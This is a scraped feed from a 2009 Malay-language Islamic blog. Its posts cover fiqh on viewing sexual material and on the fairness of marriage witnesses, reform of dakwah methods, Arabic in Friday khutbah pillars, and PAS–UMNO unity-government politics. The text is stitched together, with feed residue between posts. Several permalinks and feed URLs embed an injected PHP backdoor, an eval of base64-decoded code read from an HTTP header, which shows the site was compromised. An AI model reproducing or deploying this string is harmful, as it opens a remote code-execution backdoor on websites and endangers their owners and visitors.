Mereka semua bersepakat bahawa sesiapa yang melakukan perbuatan ini [ berkahwin dengan perempuan yang merupakan tunangan orang lain] telah melanggar perintah Allah dan Rasul meskipun sebahagian daripada pengikut para imam ini berbeza pandangan berkenaan hukumnya.

Berterusan dalam melanggar perintah Allah sedangkan perbuatan itu diketahui merupakan satu kesalahan yang boleh menyebabkan seseorang dicela agamanya, keadilannya dan pertaliannya dengan umat Islam.

Hadith ini juga mengandungai perintah larangan bagi seseorang membiarkan nafsunya dalam keadaan memuncak tanpa menundukkannya kerana keadaan ini dapat menyebabkan berlekunya zina. Bahkan Al-Azim al-Abadi dalam kitab Aun al-Ma’bud ketika mensyarahkan hadith ini , beliau menyebutkan

Hadith ini menunjukkan bahawa tidaklah salah untuk seorang lelaki meminta untuk bersama isterinya meskipun ketika siang hari dan isterinya sedang sibuk dengan sesuatu urusan yang boleh ditangguhkan kerana boleh jadi lelaki itu tidak dapat menahan nafsunya dan menyebabkan mudarat pada dirinya dan hatinya sekiranya ditangguhkan.

Kesemua hadith ini menunjukkan bahawa Rasulullah melarang seseorang daripada membuka sebarang pintu untuk melakukan zina , meskipun seseorang itu telahpun bersuami ataupun beristeri.Dalam erti kata lain , tidak dibenarkan untuk menjadikan sesuatu sebagai bahan untuk meningkatkan syahwat melainkan pasangan yang sah.

Semestinya seseorang yang membaca bahan-bahan berunsur sex ini akan membayangkan susuk tubuh watak yang digambarkan dan boleh menyebabkan imaginasi melakukan hubungan dengan watak tersebut.Perkara ini dilarang dalam agama.

Persoalan yang kedua adalah apakah hukum melakukan perkara yang dilarang ini.Adakah ia termasuk dikalangan dosa-dosa besar yang mewajibkan taubat ataupun ia diharamkan kerana boleh menyebabkan berlarutan kepada melakukan zina.

Sesiapa yang sekadar memikirkan keadaan melakukan hubungan sex orang lain dan membayangkan perbuatan zina tanpa menggerakkan hatinya untuk melakukan zina termasuk dalam maksud hadith qudsi yang disebutkan oleh RAsulullah

RAsulullah bersabda , Sesunggunya Allah berfirman “ Apabila hambaKu berkehendak untuk melakukan kejahatan , janganlah ditulis dosa keatas mereka sehinggalah mereka benar-benar melakukannya. Seandainya dia melakukan kejahatan itu maka tulislah dosa setimpal dengan perbuatannya. Seandainya dia meninggalkan perbuatan jahat itu disebabkan takut kepadaKu maka tulislah baginya kebaikan (Muslim)

Meskipun perbuatan membiarkan akal fikiran dibelenggu dengan nafsu sex dilarang dalam hadith-hadith yang terdahulu. Tetapi hadith ini menunjukkan bahawa seseorang itu tidaklah ditulis dosa zina melainkan setelah melakukan hubungan zina tersebut.Sekadarmembayangkan perbuatan zina belum menyebabkan seseorang mendapat dosa.Demikian maksud hadith ini.

Berkaitan dengan dosa melakukan sesuatu yang meningkatkan nafsu syahwat pula RAsululullah bersabda di dalam sebuah hadith yang diriwayatkan oleh imam al-bukhari dan Muslim

“Sesungguhnya Allah menulis keatas setiap anak Adam bahagiannya dari zina. PAstiti dia akan melakukannya tanpa pengecualian. Maka zina mata adalah penglihatan , zina lidah adalah ucapan , jiwa pula berkehendak untuk melakukan zina. Maka faraj adalah organ yang memastikan sama ada dia melakuka zina ataupun tidak”.

Salah satu pengajaran utama yang diambil dari hari ini adalah dosa melakukan zina melalui anggota badan yang berbeza bukanlah berada pada peringkat yang sama.Sesiapa yang berzina dengan farajnya berbeza dengan orang yang sekadar berzina dengan lidahnya dan tangannya. Bahkan didalam riwayat yang lain Rasulullah menyebutkan contoh-contoh zina yang dilakukan oleh bahagian tubuh yang lain seperti kaki , tangan dan sebagainya.

Ibn Abbas ketika menyampaikan hadith ini , beliau menyebutkan bahawa

“Aku tidak pernah melihat sesuatu yang lebih hampir dengan Al-Lamam (melakukan sesuatu dosa yang termasuk dikalangan dosa-dosa kecil. Dosa ini akan diampunkan dengan meninggalkan dosa-dosa besar) dari hadith Abu Hurairah berkaitan zina anggota badan ini”.

Ibn Battal ketika menyarahkan hadith riwayat al-Bukhari ni telah menyebutkan

“Sesungguhnya Allah memberi fadhilah kepada hamba-hambanya dengan mengampunkan al-Lamam selagimana farajnya tidak membenarkan perbuatan zina tersebut. Seandainya farajnya membenarkan perbuatan zina tersebut maka ini termasuk dikalangan dosa-dosa bezar.”

Dari jabir : Sesungguhnya seorang lelaki datang kepada RAsulullah dan berkata “ Ya RAsulullah , aku telah melakukan semua perkara dengan seorang wanita melainkan hubungan sex sahaja yang tidak dilakukan “ Kemudian Allah menurunkan Ayat “ Dirikanlah Solat pada dua penjuru siang dan malam. Sesungguhnya kebaikan itu menghapuskan kejahatan.(Ahmad)

Dalam riwayat lain Ibn MAs’ud bertanya kepada RAsulullah apakah hukum ini khas untuk lelaki tadi ataupun untuk setiap orang . maka Rasulullah menjawab untuk setiap orang.

Kesimpulannya seseorang lelaki ataupun perempuan tidak dibenarkan untuk menaikkan nafsu syahwatnya dengan melakukan apa-apa perbuatan yang berkemungkinan besar menyebabkan zina.Rasulullah mengkiaskan perbuatan ini kepada zina yang sebenar.Alasan melakukan perbuatan seperti membaca dan melihat bahan-bahan berunsur sex untuk memperbaiki hubungan sesama suami isteri juga wajar dielakkan.Bahkan jika nafsu terangsang secara tidak sengaja , maka hendaklah segera menundukkan nafsu dengan cara yang halal.Kerana dikhuatiri perbuatan ini membawa kepada perlakuan sumbang dan menyemarakkan nafsu melakukan perbuatan songsng bagi melunaskan nafsu. Allah tidak sekadar melarang dari melakukan zina , tetapi juga melarang dari menghampiri zina. Begitu juga Allah bukan sekadar melarang dari mengikut telunjuk syaitan dalam melakukan maksiat , tetapi juga melarang dari mengikut segala jejak langkah syaitan.Bagi sesiapa yang terbiasa melakukan perbuatan ini ,hendaklah cuba mengelakkannya dan memperbanyakkan amalan baik.

Tetapi dalam masa yang sama , tidaklah dilarang untuk pasangan suami isteri mempelajari dan mencuba cara-cara untuk mengeratkan hubungan rumah tangga. Allah berfirman

“Perempuan-perempuan kamu adalah kebun-kebun kamu. Maka datangilah kebun-kebun kamu dari mana yang maku suka”(al-Baqarah 224)

Ayat ini diturunkan ketika membantah perkataan orang yahudi yang mendakwa sesiapa yang mendatangi isterinya dari arah belakang akan mendapat anak yang cacat. Menurut Islam , seseorang berhak mendatangi isterinya dengan apa-apa cara sekalipun yang sesuai dan selesa untuk kedua-dua pihak. Yang diharamkan hanyalah mendatangi isteri dari dubur.

Dari Abu Hurairah Rasulullah bersabda “ Dilaknat sesiapa yang mendatangi dubur isterinya”(Adu Daud)

Mempelajari teknik-teknik mengeratkan hubungan suami isteri tanpa melibatkan imiginasi sex orang lain tidak dipersalahkan.

Jawapan kedua:

Imam asy-Syafie dan Abu Hanifah meletakkan saksi sebagai salah satu dari rukun nikah. Mereka berhujjah berdasarkan hadith yang diriwayatkan oleh Imam at-Tirmidzi

Dari Ibn Abbas Sesungguhnya RAsulullah bersabda” pelacur adalah mereka yang menikahkan diri mereka tanpa disaksikan orang lain.”

Imam Malik pula menyatakan bahawa perkara yang disyaratkan didalam perkahwinan adalah meniklankan perkahwinan itu meskipun tanpa kehadiran saksi. Zahir hadith menunjukkan bahawa saksi diwajibkan didalam pekahwinan.

Didalam perkahwinan disyaratkan dua orang saksi dan mereka mestilah terdiri dari orang adil.Didalam hadith yang diriwayatkan oleh ad-daraqutni

Rasulullah bersabda “ tidak ada nikah melainkan dengan wali dan dua orang saksi yang adil”

Namun begitu madzhab Hanafi tidak menganggap bahawa saksi perkahwinan mestilah terdiri dari mereka yang adil. Pada pandangan mereka , sesiapa sahaja muslim yang boleh menjadi wali perkahwinan ,mereka layak juga menjadi saksi meskipun tidak dikenali sebagai seorang yang wara’ kerana maksud sebenar dari saksi adalah sekadar untuk mengiklankan perkahwinan.Namun pandangaan al-Ahnaf ini bercanggah dengan zahir hadith yang diriwayatkan oleh ad-daraqutn. Imam Asy-Syafie mensyaratkan saksi mestilah adil.

Sayyid sabiq menjelaskan bahawa sekiranya selepas perkahwinan didapati bahawa saksi sebenarnnya bukanlah seorang yang adil. Maka perkahwinan itu tidak terjejas. Beliau menjelaskan

Sekiranya diketahui selepas berlakunya akad bahawa saksi seorang yang fasiq ,perkara ini tidak menjejaskan perkahwinan. Kerana syarat saksi mestilah terdiri dari orang yang adil adalah pada zahirnya. . Hendaklah saksi pada zahirnya bukan orang yang fasiq [ ketika berlakunya akad].(fiqh as-Sunnah)

Namun begitu , konsep saksi yang dikehendaki syara’ bukanlah seperti yang diamalkan dalam adat masyarakat melayu pada hari ini. Menurut pengamalan biasa masyarakat melayu , saksi adalah dua orang lelaki yang duduk disisi Qadi dan mengiktiraf bahawa nikah adalah sah selepas mendengar lafaz akad.Pada kebiasaannya mereka akan diberi upah.Perkara ini adalah pembaharuan yang tidak berlaku pada zaman Rasulullah.

Konsep saksi sebenarnya adalah sesiapa sahaja yang menyaksikan proses akad berlaku. Bahkan sebahagian ulama’ menyatakan bahawa sesiapa yang tidak menyaksikan proses akad tetapi dimaklumkan tentang perkahwinan sebelum dari berlakunya jima’ diantara pasangan suami isteri juga dikira sebagai saksi.Syaratnya sekurang-kurangnya saksi mestilah dua orang.

Jika akad nikah berlaku di masjid dan disaksikan puluhan orang , tidak syak lagi bahawa akad ini merupakan akad yang sempurna dan bebas dari sebarang unsur-unsur syubhat. Bahkan syara’ tidak pernah menganjurkan untuk membayar bilangan tertentu kepada qadi , jawatankuasa masjid mahupun dua orang lelaki yang berlagak sebagai saksi.

Sesungguhnya apabila Sunnah Rasulullah ditinggalkan . Maka berlakulah segala keerosakan dan kecelaruan dalam masyarakat.

]]> http://hafizdasar.com/2009/07/11/soal-jawab-fiqh-hukum-baca-bahan-lucah-saksi-perkahwinan-fasiq/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://hafizdasar.com/2009/07/08/dakwah-melangkaui-sempadan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://hafizdasar.com/2009/07/08/dakwah-melangkaui-sempadan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 07 Jul 2009 16:59:20 +0000 aljuhr http://hafizdasar.com/?p=226

Dakwah memang sinonim dengan sesebuah gerakan islam, namun adakalanya maksud dakwah itu di salah ertikan oleh sesetengah pihak. Dakwah kadang2 diimiginasikan dengan terlalu sempit sehingga ia menutup ruang2 kesyumulannya. Ada juga yang menganggap ruang lingkup dakwah hanyaberputar  sekitar anak buah atau anak usrah didalam jemaah tanpa melihat di balik tirai sempadan jemaah,masih ramai lagi manusia-manusia yang perlu di manusiakan!

Sistem Dakwah berubah dari masa ke semasa, lihat sahaja Dahulu pendekatan dakwah digunakan dengan menghantar Muaz ke syam di zaman Rasulullah, kemudian baginda  menghantar pula  sekumpulan ilmuan untuk berdakwah, Pendekatan dakwah berubah di zaman sahabat, mereka  menyampaikan islam dengan menghantar askar-askar untuk mengislamkan penduduk2 kota. Manakala ketika Era kegemilangan  Hassan Albanna, beliau mentajdidkan dakwah dengan menggunakan sistem jemaah. Persoalannya Adakah sistem ini masih releven atau ia perlu ditajdidkan?

Tidak dinafikan kehebatan jemaah(persatuan)  ketika di Era Hassan Al-banna menyebabkan ramai yang terkesan dengan perjalanan dakwahnya namun Zaman sudah berubah suasana juga berbeza. kini, memang agak sukar untuk berdakwah melalui pendekatan dakwah yang lama,iaitu berdakwah melalui jemaah(persatuan), bukan bermaksud menggunakan jemaah untuk berdakwah tetapi apa yang terjadi kini mereka berdakwah menyeru masyarakat untuk memasuki jemaah.Pendekatan ini perlu diubah, lihatlah mad’u (orang yang didakwah)  kita dari kaca mata mereka bukan dari kaca mata kita dengan mengambil kira keterbukaan (open minded) untuk menerima mereka. Sesetengah pula hanya pandai berkokok melaungkan kalimah dakwah namun yang menghampakan hanya berdakwah di sekitar ahli jemaahnya sahaja dan memandang sebelah mata manusia-manusia yang berda diluar sempadan jemaah.

Istilah futur memang terkenal apabila terlibat dengan mana-mana jemaah Islam didunia.Tanggapan sesetengah jemaah tentang maknanya juga perlu diperbetulkan, futur apa yang difahami ialah berhenti dari jalan atau medan  dakwah, namun ia disalah ertikan sehingga mereka-mereka yang tidak lagi aktif dalam jemaah di istilahkan sebagai futur. Satu label yang dilihat agak keterlaluan kerana menganggap kerja dakwah hanya berjalan apabila berada didalam jemaah sahaja. Adakah tanpa jemaah kerja-kerja dakwah ini akan terus terhenti? atau hanya menggunakan istilah futur untuk menakut-nakutkan ahli-ahli jemaah dari keluar  dan untuk mengekalkan kaderisasi sesebuah jemaah?

Adakalanya masyarakat kini terkeliru dengan tugas ahli pendakwah dan Ahli akedemik(dalam bidang agama) masing2 mempunyai persamaan namun berbeza dari segi tugas. Pendakwah berdakwah dengan ilmu agama yang general seperti ibadat,akhlak, muamalah dan sbgainya, namun ahli akademik mengkaji sumber-sumber agama, menilai sesuatu hukum, menyelesaikan masalah-masalah hukum dalam agama. Label pendakwah bebas diberikan kepada sesiapa sahaja yang menguasai agama dengan pemahaman yang  general namun  ahli akedemik hanya dilabelkan kepada mereka-mereka yang terlibat dalam bidang pengkajian dalam sumber agama. Walaupun tidak semua ahli akedemik menggunakan jalan dakwah dengan berhubung terus ke masyarakat seperti ahli pendakwah lain namun Status ahli akademik sungguh tinggi nilainya kerana mereka inilah tempatnya menjadi sumber rujukan ahli pendakwah untuk berdakwah. Imam Syafie,Hanafi dan Malik adalah contoh terbaik ahli akedemik yang tidak mencari mad’u untuk menyampaikan ilmunya bahkan masyarakat pula yang mencari mereka.

Entah mengapa kini menjadi satu trend dengan kelahiran banyak jemaah-jemaah yang menyeru islam, satu pertumbuhan yang agak baik namun percambahan ini yang sebenarnya menyebabkan mereka  saling tidak  sefahaman, sedangkan matlamat dan tujuan mereka adalah sama.

Tajdid dalam berdakwah adalah perlu!!!Bukan fiqh sahaja memerlukan tajdid malah cara berdakwah juga perlu ditajdidkan disebabkan kondusi persekitaran dan masyarakat sudah jauh berubah.

Artikel ini ditulis sebagai jawapan saya terhadap kekeliruan yang ditimbulkan ketika saya menjadi khatib Jumaat di salah sebuah masjid di negeri Pulau Pinang. Kononnya rukun khutbah tidak sempurna tanpa mengucapkan lafaz ittaqullah dalam bahasa Arab.

………………………………………………………………………………

Memandangkan mereka yang mengkritik saya tidak langsung menggunakan hujjah daripada al-Qur’an mahupun As-Sunnah, sekadar bersandarkan kepada mazhab Asy-Syafi’e, maka penjelasan saya dalam artikel ini hanya menyentuh tentang pandangan sekitar mazhab Syafi’e sahaja tanpa mengambil kira kekuatan dalil. Mungkin pihak yang mengkritik saya tidak membaca nukilan ini, namun mudah-mudahan ia dapat membantu kita bersama dalam usaha untuk mencambahkan pengetahuan.

Saya akan menjawab tiga persoalan dalam artikel ringkas ini :

1)Adakah diwajibkan dalam mazhab Asy-Syafi’e untuk mengucapkan setiap rukun khutbah dalam bahasa Arab?

2)Adakah lafaz ittaqullah merupakan salah satu daripada rukun khutbah dalam mazhab asy-Syafi’e ataupun al-Wasiyyat bittaqwa (berpesan untuk bertaqwa kepada Allah)?

3)Adakah Al-Wasiyyatu bittaqwa ditentukan dengan lafaz ittaqullah sahaja ataupun lafaznya tidak ditentukan?

Persoalan utama yang perlu diberi perhatian dan menimbulkan kekeliruan adalah adakah kesemua rukun khutbah mesti diucapkan di dalam bahasa Arab ataupun boleh diucapkan dalam bahasa lain.

Persoalan ini dijawab oleh mufti al-Azhar Atiyyah Saqar ketika beliau diajukan persoalan berkenaan membaca khutbah dalam bahasa selain daripada bahasa Arab. Beliau menjawab :

Imam Abu Hanifah berpandangan bahawa diharuskan khutbah dengan selain bahasa Arab sekalipun orang yang berkhutbah menguasai bahasa Arab, dalam keadaan sama ada jemaah merupakan orang Arab ataupun selain Arab.

Imam Ahmad pula mensyaratkan khutbah dalam bahasa Arab seandainya khatib menguasai bahasa Arab, sekiranya khatib lemah dalam bahasa Arab, maka hendaklah ia berkhutbah dengan bahasa lain sama ada di hadapan jemaah Arab ataupun bukan Arab. Tetapi Ayat al-Qur’an yang merupakan salah satu daripada rukun dalam kedua-dua khutbah tidak diharuskan dalam selain bahasa Arab. Jika tidak mampu hendaklah khatib menggantikan ayat al-Qur’an dengan apa sahaja zikir yang diketahuinya dalam bahasa Arab. Sekiranya dia tidak mampu juga, hendaklah dia diam seketika pada kadar membaca satu ayat al-Qur’an.

Imam asy-Syafie’ pula mensyaratkan supaya kesemua rukun khutbah mesti diucapkan dalam bahasa Arab sekiranya khatib mampu mempelajarinya. Sekiranya tidak mampu, maka dia boleh berkhutbah dengan selain daripada bahasa Arab. Hukum ini adalah seandainya jemaah terdiri daripada orang Arab. Tetapi sekiranya mereka tidak terdiri daripada orang Arab, tidak disyaratkan langsung untuk mengucapkan rukun khutbah dalam bahasa Arab meskipun khatib mampu mempelajarinya kecuali ayat Al-Qur’an hendaklah diucapkan dalam bahasa Arab. Sekiranya khatib tidak mampu, hendaklah dia menggantikan ayat al-Qur’an dengan mengucapkan apa sahaja zikir ataupun doa’ dalam bahasa Arab. Sekiranya tidak mampu juga, maka hendaklah dia diam sebentar pada kadar membaca satu ayat al-Qur’an. Adapun ayat al-Qur’an yang diterjemah ke dalam bahasa lain tidak dianggap menyempurnakan rukun khutbah. Adapun selain daripada rukun khutbah, tidaklah disyaratkan mengucapkannya dalam bahasa Arab.

http://hafizdasar.com/?p=196 Idea kerajaan perpaduan yang di war-warkan memang cukup harmoni tetapi adakah ianya realistik? Mengapa idea ini masih lagi dipertahankan oleh Presiden Pas dan Timbalannya sedangkan ramai daripada pimpinan mereka menolaknya.Adakah perpaduan yang diinginkan dengan musuh tradisi tetapi perpecahan yang terpaksa ditelan dengan sahabat sendiri? dan mengapa pula BN beria-ia benar bersetuju dengan gagasan ini? malah apabila pemberita mengajukan soalan tentang kerajaan perpaduan PM, tanpa berselindung bersedia untuk ke meja rundingan ditambah pula dengan doa Hishamuddin Naib Presiden agar PAS tidak berpecah menambahkan lagi UMNO seakan sudah bertaubat dari dosa2 yang dilakukannya dahulu dan ingin membina hidup baru bersama PAS. Kenyataan Timbalan Presiden UMNO yang juga bersedia untuk berpadu kuasa dengan PAS baru-baru ini menyatakan UMNO kini bukan seperti dahulu dan ia sedia berubah seakan-akan mengaku dengan kesilapan UMNO lampau yang diterajui oleh Mahathir. Apa pun PAS perlu berhati-hati dengan mainan politik mereka. Antara sebab-sebab yang mungkin mengapa mereka bersetuju dengan gagasan ini.

1. Strategi memecah belahkan pimpinan PAS untuk mengurangkan pengaruh PAS pada masyarakat, malah ingin menjadi dalang menjatuhkan hubungan PAS dan pakatan.

2. Strategi ingin mengekalkan kuasa yang ada, sebagaimana yang diketahui mereka menjangkakan PRU akan datang mereka tidak relevan lagi dengan masyrakat, jadi jalan yang terbaik berpadu dengan PAS yang diketahui akan menguasai Parlimen akan datang. Dengan startegi ini mereka masih lagi akan berada di jawatan2 yang penting dalam kerajaan yang akan datang. Mereka akan cuba apa sahaja cara yang terbaik untuk mengekalkan kekuasaan mereka.

Sejarah juga telah membuktikan bagaimana satu ketika dahulu kerajaan campuran ini telah pun ditubuhkan ketika zaman Asri Muda yang di namakan Barisan Nasional ketika zaman Tun Abd Razak namun akhirnya PAS keluar kembali. PAS ketika itu hampir sahaja mendapat pengaruh yang luas sebelum masuk ke Barisan Nasional namun setelah mereka bersama perpecahan mula berlaku dikalangan pemimpin PAS dan natijahnya mereka keluar dari gagasan itu akibat dari mainan kotor parti perikatan. malang bertambah lagi apabila Kelantan dan terengganu terlepas dari jajahan takluk PAS. mereka terpaksa bermula semula dari bawah untuk mencari pengaruh. Sejarah telah membuktikan kegagalan kerjasama antara UMNO dan PAS,adakah PAS ingin mengulangi sejarah hitam bersama Barisan Nasional di era Tun Abd Razak dan kini startegi itu diteruskan oleh anaknya?.. sama2 fikirkan

]]> http://hafizdasar.com/2009/06/21/perpaduan-atau-kekuasaan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://hafizdasar.com/2009/06/18/entahlahbila-bulan-akan-bewarna-biru/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://hafizdasar.com/2009/06/18/entahlahbila-bulan-akan-bewarna-biru/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 18 Jun 2009 04:15:25 +0000 salman ali http://hafizdasar.com/?p=187 Cadangan kerajaan perpaduan yang diwar-warkan oleh Presiden PAS, Dato’ Seri Abdul Hadi Awang pasti akan menyenangkan sesiapa sahaja yang berkehendakkan perpaduan dalam kalangan orang Islam di negara ini. Tambahan pula, idea ini mendapat reaksi positif daripada Presiden UMNO seolah-olah membuka lembaran baru menuju ke arah cara berpolitik yang meletakkan paksi agama dan bangsa sebagai asas perjuangan.

Apabila datangnya cadangan ini, berbagai-bagai tafsiran menjelma, ada pihak yang berkata cadangan ini dilontarkan kerana UMNO menyedari kelemahannya. Ada benarnya dakwaan ini. Ada pula yang menyatakan PAS patut kekal dengan sumpah setia bersama dengan pakatan pembangkang. Ada baiknya juga unsur kesetiaan ini dipertahankan.

Tetapi malangnya sikap melampau-lampau sebahagian pemimpin Pas menolak kerjasama dengan UMNO adalah sesuatu yang amat dikesali. Manakala pendirian pihak yang terlalu terbuka menerima DAP seadanya membuatkan kedudukan PAS seolah-olah ” pecacai” yang tuduk kepada DAP dan persoalan inilah yang akan penulis ulas.

Perbincangan tertutup dua hala antara parti politik sebenarnya merupakan perkara biasa dalam dunia politik Malaysia. Sebagai contoh apa yang didedahkan dalam media tidak lama dahulu berkenaan perbincangan antara Saudara Ezam Md Noor dan Pak Lah berkaitan pembebasan Dato’ Seri Anwar Ibrahim ketika Ezam masih bersama PKR. Saya juga difahamkan bahawa kerajaan negeri Pulau Pinang yang lampau sering menjemput parti politik pembangkang  DAP untuk berbincang secara tertutup berkaitan nasib kaum Cina di negeri itu. Banyak juga bukti yang menunjukkan bahawa telah berlaku perbincangan antara PAS dan UMNO semenjak PRU ke-12.

Persoalannya kenapa pula Mursyidul Am, Dato’ Nik Abdul Aziz Nik Mat, pemimpin tertinggi PAS begitu berat mengakui hakikat ini dan meredhai perbincangan ke arah membentuk kerajaan perpaduan. Walhal kenyataan Tuan Guru Haji Hadi berkenaan kerajaan perpaduan bukanlah bererti penggabungan parti. Cadangan terbaru pula, PAS hanya akan berbincang dengan UMNO bersama-sama dengan PKR dan DAP. Inilah tandanya kesetiaan dan wala’ yang tidak berbelah bagi. Sedangkan entah berapa banyak perbincangan berlaku antara DAP, MCA dan GERAKAN tanpa pengetahuan PAS.

Benar, PAS pernah mengalami mimpi ngeri bersama dengan UMNO, seperti peristiwa Memali dan tuntutan royalti minyak oleh kerajaan Kelantan. Tetapi apakah terlalu berat untuk duduk berbincang demi penambahbaikkan dalam beberapa perkara lain. Sememangnya Anwar Ibrahim dan Karpal Singh tidak senang duduk dengan perbincangan dan perpaduan PAS dan UMNO, namun jika PAS bertindak sekadar menghormati pandangan ahli pakatan yang lain, di mana pula letaknya kedaulatan PAS, yang senantiasa tertakluk kepada kehendak rakan pakatan. Sedangkan perbincangan dan perpaduan antara DAP, GERAKAN dan MCA, perbincangan antara PKR dan parti komponen BN di Sabah dan Sarawak memang tidak dapat dinafikan lagi. Apakah sebenarnya yang sedang dipertahankan oleh sebahagian pimpinan PAS pusat. Ataupun adakah sekadar ego orang tua-tua yang merasakan taringnya sedikit tumpul.

Ada pula sebahagian pimpinan PAS yang menyatakan mereka hanya akan menerima cadangan kerajaan perpaduan dengan UMNO dan hanya akan melakukan perbincangan serius seandainya UMNO bersedia untuk meletakkan al-Qur’an dan as-Sunnah di hadapan. Tetapi perpaduan PAS dengan DAP, parti yang sentiasa menjadi frontier bagi menghapuskan identiti Islam di negara ini, dan PKR yang tidak langsung meletakkan sebarang hala tuju bagi Islam, tidak pula berasaskan kepada al-Qur’an dan as-Sunnah. Di mana konsistennya perjuangan PAS?

Alasan yang dikemukakan oleh Dr Mujahid supaya UMNO menyediakan terlebih dahulu ruang yang kondusif sebelum memulakan perbincangan mungkin ada baiknya untuk diketengahkan. Sikap kurang ajar agen-agen UMNO yang sering mengulang tayang video Memali, berita yang disiarkan dalam keadaan yang amat berat sebelah dan bantuan kewangan yang tidak adil antara negeri-negeri pimpinan Pakatan dan BN jelas menggambarkan sikap tidak ikhlas UMNO untuk bersama dengan PAS. Harapan kita supaya UMNO dapat menyediakan ruang kondusif yang terpenting ini dan pimpinan “lama” PAS menghilangkan ego mereka supaca cita-cita melihat perpaduan dua parti berasaskan umat Islam di negara ini tercapai.

Persoalan kedua ini benar-benar membuatkan penulis mula ragu-ragu dengan pendirian politik PAS. Kalau dahulunya apabila rakan komponen UMNO memberi kenyataan negatif berkaitan hudud, PAS akan terus menyerang mereka denga slogan jihad dan mengancam UMNO kerana bekerjasama dengan kafir. Disiarkan poster menggambarkan besarnya kesalahan UMNO membiarkan konco-konconya menyentuh berkaitan hukum Islam. Semua itu telah berlalu, kini taring PAS tidak kelihatan lagi bahkan tersembunyi ataupun hilang disebalik jari-jari mereka.Yang terpampang hanyalah jari manis PAS yang mengisyaratkan kepada DAP. Apabila Karpal Singh mengkritik pelaksanaan hudud, bukan main baik lagi tuan guru menghamparkan tikar menjemput Karpal untuk melihat perlaksanaan hukum Islam di Kelantan. Kerajaan Pakatan di negeri Perak dan Selangor pula meletakkan hudud sebagai kepentingan terakhir mereka.

Apabila Lim Kit Siang dan konco-konconya mempertikaikan perlaksanaan hudud kepada bukan Islam, PAS pantas memberikan cadangan alternatif hudud hanya untuk umat Islam. Saya bimbang sekiranya PKR pula yang menyerang, hudud akan bertukar ‘ HANYA UNTUK AHLI PAS SAHAJA’ seperti Harakah. Umum mengetahui ucapan Anwar Ibrahim di beberapa negara Barat jelas menunjukkan perjuangan PKR menuju sebuah negara yang liberal, bukannya negara Islam. Ucapan ini boleh didapati melalui laman web www.youtube.com. Sedangkan ada perbincangan mendalam berkaitan perlaksanaan hukum hudud kepada bukan Islam. Saya yakin Tuan Guru Presiden faham benar dengan perbezaan pandangan dalam kalangan ulama’ ini.

Salah satu usul yang diterima dalam Muktamar PAS adalah untuk mendesak kerajaan mengharamkan SIS kerana bercanggah dengan Islam. Tetapi usul ini ditentang hebat PKR dan DAP atas semangat kebebasan bersuara. Akhirnya pihak pencadang terpaksa mengubah usul, bukan lagi mengharamkan tapi sekadar pembetulan menerusi perbahasan ilmiah. Apa yang penting kuasa tidak wajar digunakan dalam isu ini. Begitu kuatnya pengaruh DAP dan PKR ke atas PAS. Saya bimbang seandainya Pakatan Rakyat memerintah kelak, JAKIM tidak perlu lagi menangani mana-mana ajaran sesat, Arqam perlu dibenarkan bergerak aktif, Ayah Pin pula perlu diajar cara membangunkan laman web menyebarkan ajaran gilanya atas semangat kebebasan bersuara. Boleh jadi  sumber hukum terbesar ketika itu adalah ijma’ DAP dan PKR!

Kalau dahulunya orang yang paling berkuasa dalam parlimen, Dr Mahathir mengumumkan Malaysia merupakan sebuah negara Islam tertunduk redha para pemimpin MCA, MIC dan GERAKAN walaupun hati menyimpan seribu satu bantahan. Kini senarionya berbeza, apabila Lim Kit Siang mencabar kedudukan Malaysia sebagai negara Islam dan mencabar mana-mana ahli parlimen bukan Islam mengangkat tangan jika tidak bersetuju, tenang sahaja tuan-tuan guru menelan perkataan Lim Kit Siang walaupun semestinya rasa tercabar dengan kenyataan itu. Nasib baiklah ada suara-suara seperti Bong Mokhtar yang boleh bertindak sebagai ’siren bergerak’ dalam parlimen. Mungkinkah kuasa tertinggi dalam parlimen sekarang adalah gandingan Lim Kit Siang dan Karpal Singh?

Jika dahulu Zaid Ibrahim cuba menyaman kerajaan Kelantan atas dakwaan cuba melaksanakan rang undang-undang hudud, ada suara-suara menuduhnya kafir. Mungkin sekarang Zaid bukan lagi kafir rasanya, sebab dia sudah pun mengucapkan syahadah Pakatan Rakyat. Tiada sebarang perubahan pada prinsipnya tetapi saya yakin selepas ini Zaid sudah terselamat daripada fatwa tuan guru yang mengkafirkannya. Tapi belum tentu selamat di akhirat…

Sudahlah antara Ahli Sunnah dan Syiah tidak ada perbezaan dalam PAS semenjak pengaruh revolusi Iran ke atas PAS, walaupun ada penulis muda PAS yang begitu aktif menolak Syiah seperti Nik Abduh, tetapi di mana fatwa tuan-tuan guru dalam isu ini? Atau perpaduan pada tuan guru lebih baik untuk dipertahankan daripada penularan akidah yang memaki hamun para sahabat? Janganlah pula selepas ini aliran liberal  dan sekular pula mendapat tempat dalam PAS!

Sebelum ini saya secara peribadi berbangga dengan PAS sebagai satu-satunya parti politik yang konsisten mempertahankan Islam di Malaysia, kerana UMNO tidak mahu memperjuangkan keseluruhan ajaran Islam. Namun kini, harapan hanya tinggal harapan. Kesemua parti  politik perlu mengakui hakikat yang hanya menerusi perkongsian kuasa sahaja sesuatu parti dapat memerintah. Secara realitinya pakatan PAS bersama DAP dan PKR meranapkan harapan membentuk negara Islam.Bahkan tiada apa yang dapat diharapkan daripada pakatan ini melainkan pembentukan sebuah negara liberal.

Dari sudut teorinya hanya gabungan PAS bersama UMNO dengan memberi ruang luas kepada pemimpin pro-hudud (seperti Husam Musa [PAS], Zahid Hamidi [UMNO], Zulkifli Nordin[PKR]) sahaja yang kelihatan mampu memberikan sedikit harapan ke arah pembentukan negara Islam, tetapi dengan keadaan UMNO yang amat zalim terhadap pembangkang dan kebencian PAS yang meluap-luap terhadap UMNO bahkan kekadang lebih daripada kebenciannya kepada kafir harbi,

Bilalah bulan akan bewarna biru, entahlah…

